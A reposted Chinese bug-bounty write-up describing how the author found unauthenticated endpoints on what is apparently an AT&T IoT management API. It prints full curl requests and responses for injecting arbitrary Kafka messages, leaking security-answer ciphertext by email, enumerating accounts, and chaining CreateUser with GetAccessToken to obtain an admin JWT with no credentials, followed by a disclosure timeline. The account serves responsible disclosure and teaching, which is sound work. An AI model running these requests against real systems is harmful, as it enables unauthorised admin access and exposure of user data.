0150.从零身份验证到管理员访问权限

admin 2026-04-21 01:59:24 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详细记录了作者通过分析AT&T物联网平台的Swagger文件发现多个严重安全漏洞的过程。关键发现包括:未认证的Kafka生产端点可任意注入消息、数据库连接端点泄露用户数量、安全问答接口存在加密配置错误、以及组合利用CreateUser和GetAccessToken接口实现零凭证获取管理员权限。文章最后分享了漏洞披露时间线和应对无效结论的专业应对建议。 综合评分: 95 文章分类: 渗透测试,漏洞分析,WEB安全,红队,安全建设


cover_image

0150.从零身份验证到管理员访问权限

原创

0xTyrion404 0xTyrion404

Rsec

2026年4月19日 11:41 贵州

在小说阅读器读本章

去阅读

本文章仅用网络安全研究学习,请勿使用相关技术进行违法犯罪活动。

声明:本文搬运自互联网,如你是原作者,请联系我们!

类型:API

凌晨两点,我一边喝咖啡一边发现 AT&T 物联网平台获得了 9.8 的关键评分

一切开始的那晚

凌晨两点。那种城市死寂、街道空无一人的凌晨两点,房间里唯一的光源是电脑屏幕的蓝光。我刚从外面回来——心情糟透了。你知道那种诸事不顺的日子吗?

我给自己冲了杯咖啡。浓咖啡。那种喝起来像后悔药水,但又能让你保持清醒的咖啡。

我打开了侦察笔记。这几天我一直在研究一个目标——我们姑且称之为 example.att.com 总觉得哪里不对劲。不是那种令人恐惧的感觉,而是那种 “这里面肯定藏着宝藏”的感觉。

Swagger 文件已经告诉我,这个 API 上有 544 个端点。544。我盯着这个数字,对着咖啡低声说道:

“我们会在这里待一段时间。”

我的咖啡沉默不语。我们开始了。

#

铺垫——这到底是什么?

在我们深入探讨混乱局面之前,先来了解一些背景信息:

example.att.com 是一个 C2M 物联网管理平台——本质上是一个用于大规模管理物联网设备的后端基础设施。它涵盖了设备事件、用户管理、监控数据流和身份验证等所有重要功能。

该 API 是基于 ASP.NET Core 构建的,我已经获取了 Swagger 规范:

curl -s "https://example.att.com/swagger/v1/swagger.json" | wc -c# 817,000 bytes of documented attack surface. Beautiful.

我开始手动映射端点。大多数端点需要身份验证令牌。大多数,并非全部。

找到 A — “先生,这是 Kafka 经纪人”

#

发现

#

我在浏览 Swagger 规范时发现了它:

POST /api/v1/home/Publishdata

描述中提到“发布监控数据”。没有身份验证注释。没有安全方案参考。

我的内心独白:

“他们肯定已经封锁了。这是一个生产平台。他们绝对已经封锁了。”

读者朋友们,他们并没有封锁这里。

curl -s -X POST "https://example.att.com/api/v1/home/Publishdata" \  -H "Content-Type: application/json" \  -d '{"topic":"production_FeedMonitoringAPM","message":"researcher_test"}'Response:  Data Receieved

我缓缓放下咖啡。我又发送了一份有效载荷。只是为了确保万无一失:

curl -s -X POST "https://example.att.com/api/v1/home/Publishdata" \  -H "Content-Type: application/json" \  -d '{"action":"DELETE","userId":"admin","force":true}'Response:  Data Receieved

我发送了一个完全没有意义的有效载荷:

curl -s -X POST "https://example.att.com/api/v1/home/Publishdata" \  -H "Content-Type: application/json" \  -d '{"cmd":"id","type":"command"}'Response:  Data ReceievedI sent the number 123. -> Data Recieved I sent Simple String Payload -> Data Recieved

这时我转过身对着咖啡说: “他们什么都会接受。”

这里究竟发生了什么?

#

该端点直接写入生产 Kafka 代理——物联网设备和下游系统正在积极读取和处理的内部消息总线。

Kafka broker 的 IP 地址已从另一个端点泄露。主题名称已在 Swagger 规范中得到确认。

这时,我发给制作团队的卡夫卡的信息比那一周发给朋友的短信还多。我们不谈这件事。

找到 B——数据库决定自我介绍

#

肾上腺素飙升的余韵未消,我抵达了下一个可疑的终点站:

GET /api/v1/home/TestDBConnection

测试。数据库。连接。 健康检查端点。在生产环境中保持启用状态。无需身份验证。

curl -s "https://example.att.com/api/v1/home/TestDBConnection" | jq .Response: {  "code": "200",  "status": "SUCCESS",  "message": "19247"}

数据库就这样主动向我做了自我介绍,就像一只不懂陌生人危险的金毛犬一样。

19,247 条记录。 已上线。现在我确切地知道里面有多少用户了。

结合我从其他端点了解到的信息,内部基础设施图基本上已经绘制出来了。

端点名称就叫TestDBConnection 它是一个测试端点,已部署在生产环境中,可以从互联网访问。唯一缺少的就是一张写着“请勿黑掉我”的便条。

寻找 C——面向所有人的免费安全解答

我查看了我的侦察记录。又一个未经认证的端点:

GET /api/GetSQDetail?emailId=<email>

我用测试账号试了一下:

curl -s&nbsp;"https://example.att.com/api/[email protected]"&nbsp;\&nbsp; | jq .Response:[{&nbsp;&nbsp;"Answer1":&nbsp;"w9X53JuPzE...",&nbsp;&nbsp;"Answer2":&nbsp;"w9X53JuPzE...",&nbsp;&nbsp;"Pin": &nbsp; &nbsp;&nbsp;"w9X53JuPzE...",&nbsp;&nbsp;"SecurityQuestion1":&nbsp;"",&nbsp;&nbsp;"SecurityQuestion2":&nbsp;""}]

好的。安全提示:答案已加密,采用 AES 加密。任何提供邮箱地址的人都可以获得回复。

但当我仔细观察后,事情变得有趣起来。

密码学红旗

我解码了 Base64:

import&nbsp;base64ct = base64.b64decode("w9X53JuPzE...")print(len(ct)) &nbsp;# → 16

16 字节。正好是一个 AES 数据块。

然后我注意到: Answer1 、 Answer2 和 Pin 都返回了相同的密文

这意味着以下两种情况之一:

  1. 这三个字段都具有相同的明文值(可疑)

  2. AES 密钥是静态的,并且没有初始化向量(IV)

    ——这是 ASP.NET 中典型的 ECB 模式配置错误。

如果是第二种情况——根据我的经验,通常都是这样——那么一旦掌握密钥 ,所有 19,247 个用户的所有安全答案都可以在离线状态下解密。而且,ASP.NET 配置文件中硬编码的 AES 密钥经常会出现在泄露的代码库、错误信息和调试端点中。

无需身份验证即可获取任何信息。任何用户均可使用。通过电子邮件发送。

安全问题的答案比我的 WiFi 密码更容易获取。 我的 WiFi 密码需要我实际查看路由器才能输入,而这个只需要一个电子邮件地址。

寻找 D——最终 Boss:零凭证管理员 JWT

#

续杯咖啡。这一点值得我们格外关注。

我之前就发现了两个端点,单独来看都不太妙。它们加在一起,后果不堪设想。

POST /api/CreateUserPOST /api/GetAccessToken

第一步——创建管理员帐户(无需身份验证)

curl -s -X POST&nbsp;"https://example.att.com/api/CreateUser"&nbsp;\&nbsp; -H&nbsp;"Content-Type: application/json"&nbsp;\&nbsp; -d '{&nbsp; &nbsp;&nbsp;"firstName":&nbsp;"Bug",&nbsp; &nbsp;&nbsp;"lastName":&nbsp;"Test",&nbsp; &nbsp;&nbsp;"userName":&nbsp;"testresearcher01",&nbsp; &nbsp;&nbsp;"emailAddress":&nbsp;"[email protected]",&nbsp; &nbsp;&nbsp;"password":&nbsp;"Test@Pwn2024",&nbsp; &nbsp;&nbsp;"roleIDs":&nbsp;"requestmanageradmin",&nbsp; &nbsp;&nbsp;"groupID": 1&nbsp; }'

服务器响应了 UserID 、 ActiveStatus ,以及——我希望你仔细想想——响应正文中回显了明文密码

账户已创建,角色为 requestmanageradmin 。创建过程是在凌晨 2 点,通过我笔记本电脑发出的未经身份验证的 HTTP 请求完成的。

步骤 2 — 获取已签名的 JWT(无需身份验证)

curl&nbsp;-s -X POST&nbsp;"https://example.att.com/api/GetAccessToken"&nbsp;\&nbsp; -H&nbsp;"Content-Type: application/json"&nbsp;\&nbsp; -d '{"userName":"testresearcher01","password":"Test@Pwn2024"}'

服务器给了我一张签名的 JWT 卡,没有问任何问题。

步骤 3 — 解码 JWT 并确认

curl -s -X POST&nbsp;"https://example.att.com/api/GetAccessToken"&nbsp;\&nbsp; -d '{"userName":"testresearcher01","password":"Test@Pwn2024"}' \&nbsp; | python3 -c&nbsp;"import json, sys, base64data = json.load(sys.stdin)jwt = data['data']['Tokens']['AccessToken']payload = jwt.split('.')[1]payload += '=' * (4 - len(payload) % 4)claims = json.loads(base64.b64decode(payload))user = json.loads(claims['User'])print(json.dumps(&nbsp; {k: user[k] for k in ['UserId','UserName','ApiKey','CompanyID','Roles']},&nbsp; indent=2))"

回复 :

{&nbsp;&nbsp;"UserId":&nbsp;"23566",&nbsp;&nbsp;"UserName":&nbsp;"testresearcher01",&nbsp;&nbsp;"ApiKey":&nbsp;"CHTdzP...wp",&nbsp;&nbsp;"CompanyID":&nbsp;"100",&nbsp;&nbsp;"Roles":&nbsp;["requestmanageradmin"]}

我现在是 C2M 物联网平台上的已签名、已认证的完整管理员

三个未经身份验证的 HTTP 请求。之前没有任何凭证。没有任何用户交互。周二凌晨 2 点。

奖励环节——用户枚举预言机

在测试 GetAccessToken 时,我注意到错误信息中存在一些问题:

admin &nbsp; &nbsp; → "Your account is not activated" &nbsp; ← account&nbsp;EXISTSsystem&nbsp; &nbsp; → "Your account is not activated" &nbsp; ← account&nbsp;EXISTS
randomxyz → "Invalid user name or password" &nbsp; ← doesn't exist

针对已存在账户和不存在账户的错误信息不同。没有速率限制。这意味着我只需读取响应即可枚举平台上所有真实账户——包括内部系统账户。

活动状态

您已成功登录。

请求管理器管理员…

我成为平台管理员的速度比记住自己密码的速度还快。 而且我还有密码管理器。密码管理器就在那儿。

完整的攻击面地图

披露时间线(期间颇为戏剧性)

March&nbsp;14&nbsp; → Report submitted. Full PoC. CVSS&nbsp;9.8. Everything documented.March&nbsp;16&nbsp; → Triage response:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"Not Applicable. Endpoints working as designed.&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;No user data at risk."

我盯着屏幕看。

“一切运行正常。”

“不会有用户数据风险。”

我深吸一口气,平静地回复道:

“/api/CreateUser + /api/GetAccessToken 调用链允许任何未经身份验证的攻击者获取具有 requestmanageradmin 角色的已签名管理员 JWT。这并非设计特性——任何生产系统都不会故意允许未经身份验证的管理员帐户创建。”

March&nbsp;24&nbsp; → Report reopened. Status changed to Triaged.&nbsp;April&nbsp;10&nbsp; → Resolved.April&nbsp;15&nbsp; →&nbsp;$$$$&nbsp;bounty awarded.

这里的教训很重要:即使合理的批评被关闭,也不要放弃。 要回复。保持专业态度。详细解释为什么影响是真实存在的。数据会说明一切。

猎人须知

1. Swagger 规范就像藏宝图。 一个 817KB 的 swagger.json 文件包含了 544 个端点,它准确地告诉我应该在哪里查找。务必先获取它。

2. 将你的发现串联起来。 每一项发现单独来看都很糟糕,但它们结合起来则造成了灾难性的后果 CreateUser + GetAccessToken = 完全管理员权限。单独来看,这两项都不算什么大问题。

3. 查看完全相同的密文。 当三个不同的字段返回完全相同的加密值时,这是一个加密异常信号,表明使用了 ECB 模式或静态密钥。请将此情况记录在报告中。

4. 差异化错误消息 = 枚举预言机。 “无效凭据”与“帐户未激活”看似无关紧要,实则不然。它确认了帐户的存在,且没有速率限制。

5. 对无效的结论提出质疑。 要专业,要有证据。让技术事实来论证。

#

结语

我喝完第二杯咖啡时,太阳开始升起。

平台已修复。报告已解决。款项已到账。

但真正让我难以忘怀的并非赏金本身,而是那19247位真实用户的形象:任何人只要有一台终端,带着好奇心,就能查询他们的安全设置答案。而他们或许对此一无所知,当晚带着疑惑入睡。

这就是这件事的意义所在。

在更糟糕的人发现漏洞之前,先找到它们。

祝你狩猎愉快。

— tyrion404


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:Rsec 0xTyrion404 0xTyrion404《0150.从零身份验证到管理员访问权限》

评论:0   参与:  0